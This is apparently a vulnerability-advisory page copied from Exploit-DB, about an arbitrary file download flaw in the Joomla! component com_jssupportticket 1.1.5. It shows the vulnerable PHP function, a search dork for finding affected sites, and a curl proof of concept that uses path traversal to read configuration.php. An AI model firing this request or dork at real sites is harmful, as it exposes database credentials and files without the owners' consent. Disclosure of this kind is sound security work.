Joomla! component com_jssupportticket - Arbitrary File Download

vendor:

JSSupportTicket

by:

qw3rTyTy

8.8

CVSS

HIGH

Arbitrary File Download

434

CWE

Product Name: JSSupportTicket

Affected Version From: 1.1.5

Affected Version To: 1.1.5

Patch Exists: YES

Related CWE: N/A

CPE: cpe:a:joomsky:jssupportticket:1.1.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Debian/nginx/joomla 3.9.0

2019

Joomla! component com_jssupportticket – Arbitrary File Download

A vulnerability in the Joomla! component com_jssupportticket allows an attacker to download arbitrary files from the server. This is due to the lack of proper input validation in the getDownloadAttachmentByName() function in the file admin/models/ticket.php. An attacker can craft a malicious URL to download any file from the server.

Mitigation:

Upgrade to the latest version of the Joomla! component com_jssupportticket.

Source

Exploit-DB raw data:

#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 08.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: http://joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.5
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 1411 in file admin/models/ticket.php

  1382	    function getDownloadAttachmentByName($file_name,$id){
  1383	        if(empty($file_name)) return false;
  1384	        if(!is_numeric($id)) return false;
  1385	        $db = JFactory::getDbo();
  1386	        $filename = str_replace(' ', '_',$file_name);
  1387	        $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1388	        $db->setQuery($query);
  1389	        $foldername = $db->loadResult();
  1390	
  1391	        $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory');
  1392	        $base = JPATH_BASE;
  1393	        if(JFactory::getApplication()->isAdmin()){
  1394	            $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1395	        }  
  1396	        $path = $base.'/'.$datadirectory;
  1397	        $path = $path . '/attachmentdata';
  1398	        $path = $path . '/ticket/' . $foldername;
  1399	        $file = $path . '/' . $filename;
  1400	
  1401	        header('Content-Description: File Transfer');
  1402	        header('Content-Type: application/octet-stream');
  1403	        header('Content-Disposition: attachment; filename=' . basename($file));
  1404	        header('Content-Transfer-Encoding: binary');
  1405	        header('Expires: 0');
  1406	        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  1407	        header('Pragma: public');
  1408	        header('Content-Length: ' . filesize($file));
  1409	        //ob_clean();
  1410	        flush();
  1411	        readfile($file);		//!!!
  1412	        exit();
  1413	        exit;
  1414	    }

#####################################
#PoC:
#####################################
$> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"